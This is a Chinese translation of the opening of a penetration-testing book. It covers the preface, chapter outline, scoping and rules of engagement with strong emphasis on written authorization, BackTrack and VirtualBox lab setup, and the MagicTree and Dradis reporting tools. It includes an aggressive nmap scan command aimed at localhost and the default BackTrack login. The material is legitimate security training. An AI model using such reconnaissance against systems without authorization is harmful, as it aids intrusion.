高度安全环境下的高级渗透测试(全)

高度安全环境下的高级渗透测试(全)

原文:annas-archive.org/md5/37A61AD0202D37F5F9B9CA71821CCC1E

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

渗透测试人员面临着防火墙、入侵检测系统、基于主机的保护、硬化系统以及由知识渊博的分析员组成的团队,他们通过安全信息管理系统收集的数据。在这样的环境中,仅仅运行自动化工具通常会产生很少的结果。这种安全的虚假感觉很容易导致关键数据和资源的丢失。

《高度安全环境下的高级渗透测试》提供了超越基本自动化扫描的指导。它将为您提供一个基石,可用于承担有效测量传统安全环境的整个攻击面的复杂和艰巨任务。

《高度安全环境下的高级渗透测试》使用仅有的免费工具和资源来教授这些概念。我们将使用的其中一个工具是著名的渗透测试平台 BackTrack。BackTrack 的出色开发团队不断更新平台,提供一些最好的安全工具。我们将用于模拟渗透测试的大多数工具都包含在最新版本的 BackTrack 中。

渗透测试执行标准(PTES),www.pentest-standard.org,被用作我们许多阶段的指南。尽管标准中的并非所有内容都会被讨论,但我们将尽可能地将本书中的知识与标准的基本原则相一致。

《高度安全环境下的高级渗透测试》提供了关于如何在您自己的设备上使用 VirtualBox、pfSense、snort 和类似技术模拟高度安全环境的逐步说明。这使您能够在安全的环境中实践本书中学到的知识。您还将有机会在执行测试时,亲眼见证安全响应团队可能在渗透测试的一侧看到的情况!

《高度安全环境下的高级渗透测试》通过提出一个挑战来结束,您将使用虚拟实验室模拟从头到尾的整个渗透测试。渗透测试人员需要能够向客户解释缓解策略;考虑到这一点,我们将讨论各种缓解策略,以解决各章节中列出的攻击。

本书涵盖内容

《第一章》《规划和范围确定成功的渗透测试》向您介绍了渗透测试的解剖学。您将学习如何有效地确定渗透测试的范围,以及在处理第三方供应商设备或环境时应该设定的限制。还将讨论优先级技术。

《第二章》《高级侦察技术》将指导您通过数据收集方法,通常可以避免触发警报。我们将专注于各种侦察策略,包括深入挖掘深网和专业网站,以获取有关您目标的信息。

《第三章》《枚举:明智选择目标》提供了对执行系统足迹和网络枚举的方法的详细描述。目标是枚举环境并解释在选择目标时要寻找的内容。本章涉及中级到高级的 Nmap 技术,并使用 PBNJ 来检测网络上的变化。本章还介绍了如何避免枚举尝试以及如何混淆攻击者的方法(为蓝队争取时间)。

第四章,“远程攻击”,将深入探讨 Metasploit®框架。我们还将描述使用 Armitage 进行团队测试。我们将查看来自Exploit-DB.com的概念验证攻击代码,我们将重新编写和编译;我们还将研究 THC Hydra 和 John the Ripper 进行密码攻击。

第五章,“网络应用程序攻击”,重点讨论网络应用程序攻击。我们将首先提供逐步说明如何构建网络应用程序攻击实验室,然后详细介绍 w3af 和 WebScarab 的用法。负载平衡将被详细讨论,因为许多环境现在都具有这些功能。我们将介绍检测网络应用程序防火墙和负载平衡的方法,并提供实际示例。我们将在本章结束时介绍 Mantra 浏览器。

第六章,“攻击和客户端攻击”,讨论了绕过 AV 签名,详细介绍了社会工程工具包的更高级功能,并介绍了缓冲区溢出和模糊测试的细节。

第七章,“攻击后”,描述了成功攻击完成后执行的活动。我们将涵盖权限提升、高级 meterpreter 功能、在不同操作系统类型上设置特权帐户,以及清理工作,以留下一个干净的系统。

第八章,“绕过防火墙和避免检测”,涵盖了可以用来尝试绕过检测的方法。这包括避免入侵检测系统和高级规避技术。我们还讨论了增加恶意用户或应用程序的可检测性的方法。

第九章,“数据收集工具和报告”,将帮助您从您在测试中收集的所有数据中创建报告和统计数据。您将学习如何收集所有测试数据以及如何验证结果。您还将逐步学习如何生成报告。

第十章,“设置虚拟测试实验室环境”,将指导您设置一个模拟具有多层 DMZ 环境的公司的测试环境,使用 IDS 和“一些”加固系统和应用程序。这包括设置 VBOX、BackTrack、虚拟防火墙、IDS 和监控。

第十一章,“挑战-将所有内容整合在一起”,将让您通过实际操作来运用您在整本书中学到的技能。我们将为您设置挑战,要求您从头到尾对您的测试环境进行渗透测试。我们将提供挑战的逐步解决方案,以确保材料已经完全吸收。

你需要什么来读这本书

为了练习这些材料,您需要一台性能和空间足够的计算机来运行我们需要构建实验室的虚拟化工具。任何一台带有一点硬盘空间的现代计算机都应该足够。本书中描述的虚拟化工具可以在今天大多数现代操作系统上运行。

这本书是为谁准备的

这本书适合任何有动力、信念和愿意打破常规并学习安全测试的道德人士。本书中的许多材料都是针对那些对安全概念有一些经验并对不同操作系统有基本了解的人。如果您是渗透测试人员、安全顾问,或者只是对测试环境的安全性感兴趣,那么这本书适合您。

请注意:

  • 本书中的信息仅供以合乎道德的方式使用

  • 除非您得到设备所有者的书面许可,否则不要使用本书中的任何信息

  • 如果您进行非法行为,您应该预料到会被逮捕并依法起诉

  • 如果您滥用本书中包含的任何信息,我们不承担责任

此处的信息只能在获得适当人员的书面授权后用于测试环境

约定

在本书中,您会发现一些区分不同信息类型的文本样式。以下是一些这些样式的示例,以及它们的含义解释。

文本中的代码单词显示如下:"我们将使用名为FotoStation.jpg的图片"。

代码块设置如下:

ExifTool Version Number : 7.89
File Name : FlashPix.ppt
Directory : ./t/images
File Size : 9.5 kB

当我们希望引起您对代码块的特定部分的注意时,相关的行或项目会以粗体显示:

HEAD / HTTP/1.0
HTTP/1.1 200 OK
Content-Length: 9908
Content-Type: text/html

任何命令行输入或输出都以以下方式书写:

# cd /pentest/enumeration/google/metagoofil 

新术语重要单词以粗体显示。例如,您在屏幕上看到的单词,例如菜单或对话框中的单词,会在文本中显示为这样:"将网络适配器设置为内部网络允许我们的 BackTrack 系统与新创建的 Ubuntu 机器共享相同的子网。"

注意

警告或重要说明会以这样的方式显示在一个框中。

提示

提示和技巧是这样显示的。

第一章:规划和确定成功的渗透测试

本章介绍了测试复杂和硬化环境所需的规划和准备工作。您将了解以下主题:

  • 高级渗透测试介绍

  • 如何成功地确定测试范围

  • 测试之前需要发生什么

  • 设定您的限制 —— 没有什么是永恒的

  • 行动规划

  • 使用 MagicTree 进行详细管理

  • 使用 MagicTree 将结果导出为各种格式

  • 使用 Dradis 进行团队数据收集和信息共享

  • 在 Dradis 中创建可重用模板

高级渗透测试介绍

渗透测试对于确定环境的真实攻击面是必要的。它经常会与漏洞评估混淆,因此重要的是应该向客户充分解释两者之间的区别。

漏洞评估

漏洞评估对于发现环境中的潜在漏洞是必要的。有许多工具可用于自动化此过程,以便即使是经验不足的安全专业人员或管理员也能有效地确定其环境的安全状况。根据范围,可能还需要额外的手动测试。通常不会在正常的漏洞评估工作中全面利用系统和服务。系统通常会被枚举并评估漏洞,测试通常可以在有或没有认证的情况下进行。大多数漏洞管理和扫描解决方案提供详细的可操作报告,详细说明缓解策略,如应用缺失的补丁或更正不安全的系统配置。

渗透测试

渗透测试通过引入利用来扩展漏洞评估工作

提示

在进行渗透测试时,意外导致无意的服务拒绝或其他故障的风险比进行漏洞评估时要高。在一定程度上,这可以通过适当的规划和对测试过程中涉及的技术的充分理解来减轻。因此,渗透测试人员不断更新和完善必要的技能是很重要的。

渗透测试使企业能够了解所采用的缓解策略是否按预期运行;它基本上消除了猜测。渗透测试人员将被要求模拟攻击者可能尝试的行动,并将面临证明他们能够妥协目标关键系统的挑战。最成功的渗透测试结果是渗透测试人员能够毫无疑问地证明发现的漏洞将导致重大收入损失,除非得到妥善解决。想象一下,如果您能够向客户证明世界上几乎任何人都可以轻松访问他们最机密的信息,您将产生的影响!

渗透测试需要比漏洞分析更高的技能水平。这通常意味着渗透测试的价格将远高于漏洞分析的价格。如果您无法渗透网络,您将确保您的客户系统在您所知道的最好的情况下是安全的。如果您想晚上能够安心入睡,我建议您在验证客户安全性方面超越寻常。

高级渗透测试

一些环境比其他环境更安全。您将面临使用以下内容的环境:

  • 有效的补丁管理程序

  • 托管系统配置硬化策略

  • 多层 DMZ

  • 集中式安全日志管理

  • 基于主机的安全控制

  • 网络入侵检测或预防系统

  • 无线入侵检测或预防系统

  • Web 应用程序入侵检测或预防系统

有效使用这些控制显著增加了渗透测试的难度。客户需要完全相信这些安全机制和程序能够保护其系统的完整性、机密性和可用性。他们还需要了解,有时攻击者能够入侵系统的原因是由于配置错误或设计不当的 IT 架构。

请注意,安全中没有万灵药。作为渗透测试人员,我们的职责是从问题的各个角度进行审视,并让客户意识到任何允许攻击者对其业务产生不利影响的事情。

高级渗透测试超越了标准渗透测试,利用了最新的安全研究和可用的利用方法。目标应该是证明敏感数据和系统甚至受到有针对性的攻击的保护,如果不是这样,就要确保客户得到适当的指导,了解需要做出哪些改变。

注意

渗透测试是对当前安全状况的快照。应该定期进行渗透测试。

许多利用方法文档不完善,使用起来很困难,并且需要实际操作经验才能有效地执行。在 DefCon 19 上,Bruce "Grymoire" Barnett 做了一个关于“欺骗性黑客”的出色演讲。在这个演讲中,他讨论了黑客如何使用许多与魔术师使用的相同技术。我相信这正是渗透测试人员必须假定的坚韧性。只有通过奉献、努力、实践和愿意探索未知领域,渗透测试人员才能模仿野外恶意黑客可能尝试的有针对性攻击类型。

通常情况下,您将需要作为团队的一部分参与这些渗透测试,并且需要知道如何使用可用的工具,使这个过程更加耐用和高效。这是今天渗透测试人员面临的又一个挑战。当您的范围限制您进行非常有限的测试时,独自工作根本不是一个选择。

在某些情况下,公司可能会使用非标准的方法来保护其数据,这会使您的工作变得更加困难。他们的安全系统的复杂性与彼此协同工作可能实际上是他们安全策略中最薄弱的环节。

注意

找到可利用的漏洞的可能性与被测试环境的复杂性成正比。

测试开始之前

在我们开始测试之前,有一些要考虑的要求。您需要确定测试的适当范围、时间框架和限制、测试类型(白盒、黑盒),以及如何处理第三方设备和 IP 空间。渗透测试执行标准(PTES)将这些范围项目列为“前期交互”阶段的一部分。我强烈建议您在此阶段查看:www.pentest-standard.org/index.php/Pre-engagement

注意

尽管本书不直接遵循 PTES,我将尝试指出 PTES 的相关部分。

确定范围

在准确确定测试范围之前,您需要收集尽可能多的信息。在开始测试程序之前,完全理解以下内容至关重要:

  • 谁有权批准测试?

  • 测试的目的是什么?

  • 测试的拟议时间是多久?是否有任何限制可以进行测试的时间?

  • 您的客户是否理解漏洞评估和渗透测试之间的区别?

  • 您是否将与 IT 安全运营团队合作进行此测试?您是否在测试他们的有效性?

  • 社会工程是否被允许?拒绝服务攻击呢?

  • 您是否能够测试用于保护服务器、关键数据存储或其他需要物理访问的安全措施?例如,撬锁、冒充员工进入建筑物,或者一般地进入普通非关联人员不应该进入的区域。

  • 在测试之前,您是否被允许查看网络文档或了解网络架构以加快进展?(不一定建议这样做,因为这可能会对您的发现的价值产生怀疑。大多数企业并不希望这些信息很容易被您确定。)

  • 您被允许测试哪些 IP 范围?未经适当许可进行扫描和测试是违法的。在确保这些设备和范围确实属于您的客户时,务必非常谨慎,否则您可能面临法律后果。

  • 公司的物理位置是什么?如果社会工程被允许,这对您作为测试人员更有价值,因为它确保您在测试时处于被授权的建筑物内。如果时间允许,您应该让客户知道您是否能够公开访问这些信息,以防他们误以为他们的位置是秘密的或难以找到的。

  • 如果出现问题或者测试的初始目标已经达到,该怎么办?您是否会继续测试以找到更多条目,还是测试结束了?这部分非常关键,与客户为什么要进行渗透测试的问题有关。

  • 您需要了解的法律影响,比如不同国家的系统,等等?在进行渗透测试时,不同国家的法律并不相同。

  • 一旦利用了漏洞,是否需要额外的许可?这在对分段网络进行测试时很重要。客户可能不知道您可以使用内部系统作为枢纽点深入他们的网络。

  • 数据库应该如何处理?您是否被允许添加记录、用户等?

此清单并非所有内容都包括在内,您可能需要根据客户的要求添加项目到清单中。大部分数据可以直接从客户那里收集,但有些需要由您的团队处理。

如果存在法律问题,建议您寻求法律建议,以确保您充分了解测试的影响。在开始测试时,最好是有太多信息而不是不够。无论如何,您都应该自行验证您收到的信息是否准确。您不希望发现您一直在访问的系统实际上并不属于客户的权限范围!

注意

在访问任何客户系统之前,获得适当的书面授权非常重要。未能这样做可能会导致法律诉讼,甚至可能入狱。要正确判断!在进行渗透测试时,您还应该考虑到错误和遗漏保险是必需的。

设定限制——没有什么是永恒的

如果您想成功进行渗透测试,设定适当的限制是必不可少的。您的客户需要了解所涉及的全部后果,并应该知道如果需要超出合同范围内列出的任何额外服务,可能会产生额外费用。

确保为您的服务设定明确的开始和结束日期。明确定义参与规则,并包括可能需要测试的 IP 范围、建筑物、时间等。如果不在您的参与规则文件中,就不应该进行测试。会议应该在测试开始之前预先定义,并且客户应该清楚地知道您的交付成果是什么。

参与规则文件

每次渗透测试都需要以所有相关方都必须具备的参与规则文件开始。这份文件至少应包括以下几项内容:

  • 适当人员的适当权限

  • 测试的开始和结束日期。

  • 将执行的测试类型。

  • 测试的限制。

  • 允许进行哪种类型的测试?DDOS?全面渗透?社会工程?这些问题需要详细解决。

  • 可以进行侵入性测试和不引人注目的测试吗?

  • 您的客户是否希望在测试后进行清理,还是这是一个阶段性环境,在测试完成后将被完全重建?

  • 要测试的 IP 范围和物理位置。

  • 测试结束后如何传输报告。(使用安全的传输方式!)

  • 测试期间将使用哪些工具?不要局限于只使用一个特定的工具;提供主要工具集的清单可能会有益,以避免将来混淆。例如,我们将使用最新版本的 BackTrack 套件中的工具。

  • 让您的客户知道在测试期间发现的任何非法数据将如何处理:在通知客户之前应该先联系执法部门。在进行测试之前,请确保充分了解相关法律。

  • 如何处理敏感信息:您不应该下载敏感的客户信息;有其他方法可以证明客户的数据没有得到保护。当受监管的数据成为问题时,这一点尤为重要。

  • 您团队和您测试的公司的关键员工的重要联系信息。

  • 您将采取什么措施来确保客户的系统信息不会保留在测试期间使用的不安全的笔记本电脑和台式机上?在测试结束后,您是否需要正确地清除您的设备?您计划如何处理收集到的信息?是否要将其保存在某个地方以备将来测试?在开始测试之前,确保这些问题已经得到解决,而不是在测试之后。

参与规则应包含确定评估范围所需的所有细节。在起草参与规则之前,应该已经回答了所有问题,以确保在测试时不会有误解。您的团队成员在执行测试时需要随身携带一份签署的文件副本。

想象一下,您被聘请来确认客户的无线网络的安全状况,您正在私人财产的停车场上悄悄潜行,手持巨大的定向 Wi-Fi 天线和一台笔记本电脑。如果有人目睹了您的行为,他们可能会感到担忧并报警。您需要携带一些文件证明您有合法的理由在那里。这是一次非常有用的时候,您需要客户领导的联系信息!

行动计划

一旦开始测试,您将需要做好准备。这包括准备行动计划,所有设备和脚本都正常运行,当然还需要一些记录所有步骤和操作的机制。这将为您和其他团队成员提供一个参考。现在你可能记得绕过防火墙的步骤,但是四个月后当你面临同样的挑战时呢?做好笔记对于成功的渗透测试至关重要。

为了本书的目的,我们将回顾使用 VirtualBox 安装 BackTrack 套件的过程,这是由 Oracle 根据 GNU 通用公共许可证(GPL)提供的。这个开源虚拟化工具可以用于在 Linux、OSX 和 Windows 等平台上构建你的虚拟测试环境。

提示

我强烈推荐使用 BackTrack OS 进行测试。如果你对 BackTrack 不熟悉,PacktPub 最近出版了一本名为BackTrack 4: Assuring Security by Penetration Testing的优秀书籍。这本书将详细介绍 BackTrack 套件的各种安装方法,并全面审查其中的所有工具。如果你对渗透测试还很新,阅读这本书很可能会有所帮助。由于Advanced Penetration Testing of Highly Secured Environments的重点是高级攻击方法,我们不会涵盖 BackTrack 套件中的所有工具。

你也可以在 BackTrack 论坛网站上找到更多关于 BackTrack 的信息,网址为:www.backtrack-linux.org/forums/backtrack-5-forums/。BackTrack 的开发人员非常专业,并为安全社区贡献了大量时间和精力。

安装 VirtualBox

目前,Windows 操作系统仍然是最常见的桌面操作系统,因此我将详细介绍在 Windows 7 上安装 VirtualBox。然而,对于所有操作系统来说,安装都很简单,所以你不应该因为在你喜欢的平台上安装而退缩。

注意

我们在整本书中几乎使用的每个工具都是基于 Linux 或 FreeBSD 的。因为许多人将 Windows 作为他们的主要桌面操作系统,我们将提供在 Windows 7 上安装 VirtualBox 的说明。一旦你安装并运行起来,你就可以跟着进行,无论使用哪种操作系统作为虚拟测试环境的主机。

  1. 访问www.virtualbox.org/

  2. 点击页面左侧的下载链接。

  3. 下载 Windows 主机 x86/amd64 的最新版本VirtualBox

  4. 开始安装(根据你的系统配置,你可能需要以管理员身份开始安装)。

  5. 在初始设置窗口点击下一步>

  6. 确保安装位置是你想要安装程序的位置,并且选择所有要安装的选项,然后点击下一步>

  7. 选择你喜欢的桌面快捷方式选项,然后点击下一步>

  8. 如果你想使用之前选择的设置进行安装,请点击

  9. 点击安装以继续安装。这一步可能需要一些时间,具体取决于你的系统性能。你可能会被要求安装设备软件,此时你需要点击弹出窗口中的安装

提示

这可能会发生多次;在我的情况下,它弹出了四次,然后我的防火墙通知我请求权限将额外的网络添加到我的防火墙设置中。

  1. 点击完成以打开 Oracle VirtualBox Manager。

你现在已经安装并运行了 VirtualBox,并且可以开始创建虚拟测试环境的第一步,以便在整本书中进行实践!

安装你的 BackTrack 虚拟机

注意

在讨论攻击和防御策略时,我们将参考这些安装说明中使用的系统和虚拟网络名称。

有两种主要方法可以将 BackTrack 安装为虚拟机。一种是使用 LiveCD ISO 像在物理机上一样安装 BackTrack;另一种是下载预先准备好的虚拟机。这是在 BackTrack-Linux.org 下载站点上看到的 VMWare 镜像选项。

我们将使用 LiveCD 进行 BackTrack 安装,因为这样可以灵活确定硬盘大小和其他设置。使用 ISO 的另一个好处是,您将知道如何将 BackTrack 安装到将来的物理机器上。如果使用整个磁盘安装,安装过程将与虚拟机安装非常相似。

BackTrack 可以在www.backtrack-linux.org/下载。请务必根据 32 位或 64 位架构选择适当的 ISO 版本。如果您的主机机器上没有 64 位操作系统运行,您将无法在客户机实例上运行 64 位操作系统。如果在主机上运行 64 位操作系统,则可以选择 32 位或 64 位作为客户机操作系统。

注意

主机是您安装 VirtualBox 的主要操作系统。使用 VirtualBox 安装的虚拟化操作系统映像将被称为客户机。

为 BackTrack 准备虚拟客户机

  1. 一旦获得 BackTrack ISO,就是开始的时候了。

  2. 通过从开始菜单中选择它来启动 Oracle VM VirtualBox Manager。

  3. 点击左上角的新建图标。

  4. 新建虚拟机向导屏幕上点击下一步按钮。

  5. 您将被提示输入客户机的名称。输入BT5_R1_Tester1,选择Linux作为操作系统Linux 2.632 位64 位)作为版本,然后点击下一步为 BackTrack 准备虚拟客户机

  6. 内存屏幕上,您需要使用滑块选择基本内存大小。如果您的系统内存超过 2GB,您应该为此系统使用至少512MB。您仍然可以使用较少的内存来跟随示例,但可能会遇到一些系统滞后。选择完内存大小后,点击下一步

  7. 虚拟硬盘:确保选择了启动盘复选框,并且也选择了创建新硬盘单选按钮,然后点击下一步

  8. 一个新的弹出窗口将打开,应选择VDI(VirtualBox 磁盘映像)。点击下一步

  9. 在要求选择虚拟磁盘存储详细信息时,选择动态分配,然后点击下一步继续安装。

  10. 现在是选择存储虚拟客户机文件的位置的时候。选择位置文本输入字段右侧的文件夹图标。

  11. 创建并选择一个名为APT_VirtualLab的新文件夹,我们将在其中存储专门用于此实验室的所有客户机。确保您选择的驱动器有足够的空间来存储多个虚拟机。

  12. 将虚拟磁盘的大小至少设置为 10 GB。我们将在整本书中广泛使用这台机器,尽管从技术上讲可能,但最好避免调整 VDI 的大小。点击下一步继续。为 BackTrack 准备虚拟客户机

  13. 验证摘要页面上的数据是否准确,并点击创建

  14. 如果一切顺利,您将再次看到 VirtualBox Manager 应用程序窗口,其中包含您的新客户机。为 BackTrack 准备虚拟客户机

  15. 我们希望为这台机器提供两个网络适配器。选择BT5_R1_Tester1,然后点击设置,接着点击左侧菜单栏上的网络选项。为 BackTrack 准备虚拟客户机

  16. 点击适配器 2,选择启用网络适配器复选框。

  17. 附加到:下拉框需要设置为内部网络

  18. 名称:文本框更改为Vlab_1,然后点击确定

现在,您已完成了在虚拟磁盘上安装操作系统所需的准备工作。当准备其他操作系统时,这个过程并不会有太大变化,而 VirtualBox 使许多配置更改变得微不足道。有时,您可能希望调整客户机的设置以提高其性能。尝试一些设置将让您了解这个工具的强大之处。

注意

您可以随时更改虚拟机的设置。但是,有时您需要在更改之前关闭客户机。

在虚拟磁盘映像上安装 BackTrack

现在虚拟机已安装,我们准备安装 BackTrack。感谢 Backtrack-Linux.org 团队的辛勤工作,这个过程简单而不复杂。

  1. 打开VM VirtualBox Manager,在屏幕左侧选择您的BT5_R1_Tester1虚拟机。单击应用程序顶部栏上的大启动图标以启动虚拟机实例。

  2. 您的机器现在将启动。由于我们尚未选择要用于引导系统的映像,因此我们需要使用菜单选项来进行选择,这些选项将出现在初始系统初始化之前。

  3. 您可能会收到一个信息窗口,解释自动捕获键盘选项已打开。单击确定按钮以继续系统初始化。

  4. 首次运行向导只会在第一次启动虚拟机时出现。它允许您轻松选择要引导的 ISO。

  5. 也可以在虚拟机设置存储类别中添加安装媒体。

  6. 单击下一步继续。在虚拟磁盘映像上安装 BackTrack

  7. 选择安装媒体屏幕上,您需要单击媒体源栏右侧的文件夹图标。然后,您需要浏览到下载 BackTrack ISO 的文件夹,并选择它,使其显示在以下截图中。准备好后,单击下一步在虚拟磁盘映像上安装 BackTrack

  8. 验证您的摘要信息,然后单击开始启动机器。如果机器在boot:命令处停顿,请按Enter,系统将继续引导。允许其完全加载 LiveCD(默认引导选项)。您可能会收到键盘主机捕获消息。根据需要单击确定

  9. root@root:~# 提示处输入** startx 在虚拟磁盘映像上安装 BackTrack

  10. 现在,我们在虚拟机上运行了 BackTrack ISO,我们需要添加持久性,以便我们所做的更改保留下来。单击安装 BackTrack图标开始短暂的安装过程:在虚拟磁盘映像上安装 BackTrack

  11. 选择您喜欢的语言,然后单击前进

  12. 让安装程序知道您所在的地区。这将影响您的时间设置,并且还将有助于选择距离您更近的服务器进行更新。单击前进继续。

  13. 选择您喜欢的键盘布局,然后单击前进

  14. 为了简单起见,我们将使用整个可用磁盘空间而不是手动分区。选择擦除并使用整个磁盘单选按钮,然后单击前进

  15. 单击安装以初始化更改。这个阶段可能需要几分钟才能完成。在虚拟磁盘映像上安装 BackTrack

  16. 安装完成后,您需要重新启动系统。单击立即重启按钮,然后卸载 ISO。您需要选择设备 | CD/DVD 设备 | {您的 BackTrack ISO 映像名称}。这将在系统重新启动之前弹出 ISO 映像。按Enter重新启动。在虚拟磁盘映像上安装 BackTrack

探索 BackTrack

恭喜,您现在拥有最强大的渗透工具集之一,可以随时使用。整本书都致力于介绍 BackTrack Linux 平台中的出色工具集。这个工具包肯定会为您在实地工作中节省大量时间。

登录

默认安装的登录信息为:

bt login: root
bt password: toor

更改默认密码

登录后,我们应该尽快更改默认密码。您可以通过在提示符下输入passwd并用您自己的安全密码替换示例中的1NewPassWordHere来做到这一点。

root@bt:~# passwd
Enter new UNIX password: 1NewPassWordHere!
Retype new UNIX password: 1NewPassWordHere!
passwd: password updated successfully
root@bt:~# 

提示

如果您遇到屏幕分辨率问题或遇到其他小问题,您可能希望安装 VirtualBox Guest Additions。在客户机运行时,单击设备,然后单击安装增强功能以启动此安装。安装后,您需要重新启动 BackTrack。

更新应用程序和操作系统

您的虚拟机网络卡当前配置为允许您的 BackTrack 安装使用 NAT 访问主机系统的互联网连接。为了更新操作系统,您应该熟悉一些命令。

注意

如果您没有互联网连接,系统将无法更新。

需要记住的一件事是,BackTrack 基于 Ubuntu,与任何其他操作系统一样,需要打补丁以确保应用最新的安全补丁。同时,保持应用程序的最新状态也很重要,以便利用最新的测试技术和工具!

默认情况下,BackTrack 设置为仅使用 BackTrack 存储库。如果好奇,您可以查看/etc/apt/sources.list文件了解这些存储库是什么。

需要初始化的第一个命令是高级打包工具(APT)更新功能。这将同步软件包索引文件,以确保您获得有关最新软件包的信息。在安装任何软件或更新已安装的软件包之前,应始终使用更新功能。

# apt-get update 

完成此更新后,您可以初始化 apt 的升级命令。所有已安装的软件包将更新到存储库中找到的最新版本。

# apt-get upgrade 

还有另一个 apt 命令用于更新系统。dist-upgrade将 BackTrack 升级到最新版本。例如,如果您正在运行 BackTrack 4,并希望升级而不是下载和安装最新版本的 BackTrack 5,您可以通过输入以下命令来实现:

# apt-get dist-upgrade 

注意

您无需担心依赖关系;所有这些都将由apt-get dist-upgrade命令自动处理!

现在您的系统已经更新,是时候启动图形用户界面(在提示符下再次输入startx)并查看一下您的新工具包。在本书的过程中,我们将广泛使用这些工具。

注意

在执行apt-get dist-upgrade时,跟着重启可能是有益的。这适用于任何内核升级。

安装 OpenOffice

有时您可能需要打开电子表格来查看 IP 范围,或快速查看您的 ROE。有时,甚至可以让您的数据收集工具直接从 BackTrack 内部将数据导出到文字处理器中。如今有许多开源替代 Microsoft Word 的选择,OpenOffice 就是其中之一。它已被许多企业采用,并且可以输出各种文件格式。要从 BackTrack 内部安装 OpenOffice,只需打开终端会话并键入:

# apt-get update
# apt-get install openoffice.org 

通过按下Y接受下载,几秒钟后,您将成功地将一个非常强大的办公套件添加到您的 BackTrack 工具集中。

有效管理您的测试结果

在执行渗透测试过程中将使用各种工具。几乎所有这些工具都会产生您希望保留的输出。一个主要挑战是能够将所有这些数据合并到一个地方,以便可以轻松地将其用于通过为您提供数据的整体视图来增强测试工作,并缩短报告生成阶段。

MagicTree 简介

MagicTree 是由 Gremwell 创建的 Java 应用程序,是一个受到积极支持的数据收集和报告工具。它使用树结构中的节点来管理您的数据。这种分层存储方法在管理主机和网络数据时特别高效。MagicTree 的真正力量在于尝试分析数据时才能释放出来。例如,在扫描大型网络时查找所有 IIS Web 服务器只需几秒钟。

除了提供出色的数据收集机制外,MagicTree 还可以根据您选择的优先级创建可操作的报告。使用 MagicTree 生成的报告是完全可定制的,并且可以轻松定制以满足您的报告要求。您甚至可以使用它将数据导出到 OpenOffice!

MagicTree 允许导入 XML 数据,并为许多流行格式提供 XSLT 转换,例如:

  • Nessus(v1 和 v2)

  • Nikto

  • Nmap

  • Burp

  • Qualys

  • Imperva Scuba

  • OpenVas

请注意,MagicTree 的开发人员是渗透测试人员。当探索 MagicTree 时,很明显他们了解测试人员每天面临的挑战。其中一个例子是他们提供的功能,允许您为该工具创建自己的 XSLT 转换。如果使用提供的转换无法导入您需要的 XML 数据,您可以自己制作!

启动 MagicTree

与本书中使用的大多数工具一样,这个工具已经预装在 BackTrack 5 R1 上。

从 BackTrack 启动 MagicTree,我们选择应用程序 | BackTrack | 报告工具 | 证据管理 | magictree。在显示启动画面和许可协议后(需要接受许可协议),您将看到主应用程序工作区。

启动 MagicTree

添加节点

要添加一个节点,按下Ctrl+N并在输入弹出框中键入127.0.0.1。这将在树中填充两个额外的节点。一个用于testdata,一个用于主机127.0.0.1

在存储数据时有几种可用的节点类型。要能够有效地使用该工具,您需要熟悉各种节点类型:

  • 分支节点:用于创建树的结构,在使用此节点类型时确保不包含空格。

  • 简单节点:最常见的节点类型,用于存储简单数据,如 IP 地址或完全合格的域名。

  • 文本节点:在节点内存储文本数据,可用于提供有关您的测试或希望出现在报告中的数据的信息。

  • 数据节点:在项目文件夹中存储非图像和非 XML 附件。

  • XML 数据节点:存储 XML 数据。

  • 图像节点:可以存储诸如屏幕截图或其他重要证据之类的图像。

  • 交叉引用:创建节点之间的链接,以避免信息重复。

  • 概述节点:用于输入测试结果和建议的缓解策略。可以链接到受影响的主机。

  • 特殊节点:由应用程序自动创建并用于执行特定任务。不是用户创建的。

注意

MagicTree 将来自不同数据源的数据合并到单个节点中,以避免数据重复运行多个扫描工具对 127.0.0.1 进行扫描不会导致多个代表相同数据的节点。

数据收集

让我们收集一些关于 127.0.0.1 的数据。除了能够选择在 MagicTree 之外运行的工具的扫描结果之外,您还可以直接从工具内部进行扫描,并使用变量选择目标范围或主机。

树视图菜单中选择主机 127.0.0.1节点,单击代表查询所有的Q按钮,并在命令*文本字段中输入以下内容(必须单击才能激活):

# nmap -vv -O -sS -A -p- P0 -oX $out.xml $host 

这将启动针对 127.0.0.1 的 Nmap 扫描,并将结果放入名为$out.xml的 XML 文件中。

数据收集

我们将选择$out.xml,然后单击导入按钮,让 MagicTree 根据扫描结果自动生成我们的节点结构。

数据收集

MagicTree 已导入 Nmap 的结果,并将其与我们的主机合并。看起来我们的 BackTrack 虚拟机上的postgresql 版本 8.4.0正在端口 7175上运行!

报告生成

现在我们有了一些结果,我们将看看简单的报告生成是如何进行的。预先安装在 BackTrack 5 R1 上的安装程序有五个 OpenOffice 预配置的报告模板,可以用作创建自己模板的参考,或者直接使用。

在菜单栏顶部,选择报告选项,然后选择生成报告。这将启动生成报告模板选择屏幕。使用浏览选项选择open-ports-and-summary-of-findings-by-host.odt,然后单击生成报告。几分钟后,OpenOffice 将打开自动生成的报告,列出所有主机的开放端口以及您可能遇到的任何发现。

报告生成

这只是对 MagicTree 项目的简要介绍。这个工具非常强大,需要一些练习才能发挥其真正的潜力。MagicTree 提供的文档写得很好,而且经常更新。如果您主要是在非常小的团队中进行渗透测试,或者是独自一人的团队,那么 MagicTree 可能是您唯一想要的数据收集工具。

Dradis 框架简介

Dradis 框架是一个 Rails 应用程序,可用于帮助管理渗透测试时可能发生的数据过载。通过其用户友好的基于 Web 的界面,它简化了整个测试周期中的数据收集,并在与团队成员共享数据时非常有价值。

当合并不同的数据源,例如 Nmap、Nessus,甚至 Metasploit 时,通常需要构建某种数据库,然后使用各种方法来管理导入。Dradis 有插件,可以让您只需点击几下就可以导入这些数据。Dradis 还允许您上传附件,如截图,或向数据库添加自己的注释。

注意

Dradis 框架可以安装在 Linux、Windows 或 OSX 上。

可以通过点击快捷菜单应用程序 | BackTrack | 报告工具 | 证据管理 | Dradis来启动 Dradis 服务器,也可以在终端中输入以下内容:

# cd /pentest/misc/Dradis/
# ./start.sh 

服务器启动后,您可以打开浏览器,输入https://127.0.0.1:3004,这将带您进入 Dradis 应用程序的介绍界面。

注意

浏览器会向您显示警告,因为证书是自签名的。将证书添加到您的异常列表中,然后继续访问该站点。您可能还想在 No Script 浏览器附加组件中选择允许 127.0.0.1

您将看到“什么是 Dradis”屏幕。为了为服务器设置共享密码,您需要单击页面右上角的返回应用程序链接。

Dradis 框架简介

Dradis 框架使用一个由所有团队成员共享的密码。在密码字段中输入您选择的密码。

注意

永远不要重复使用密码!

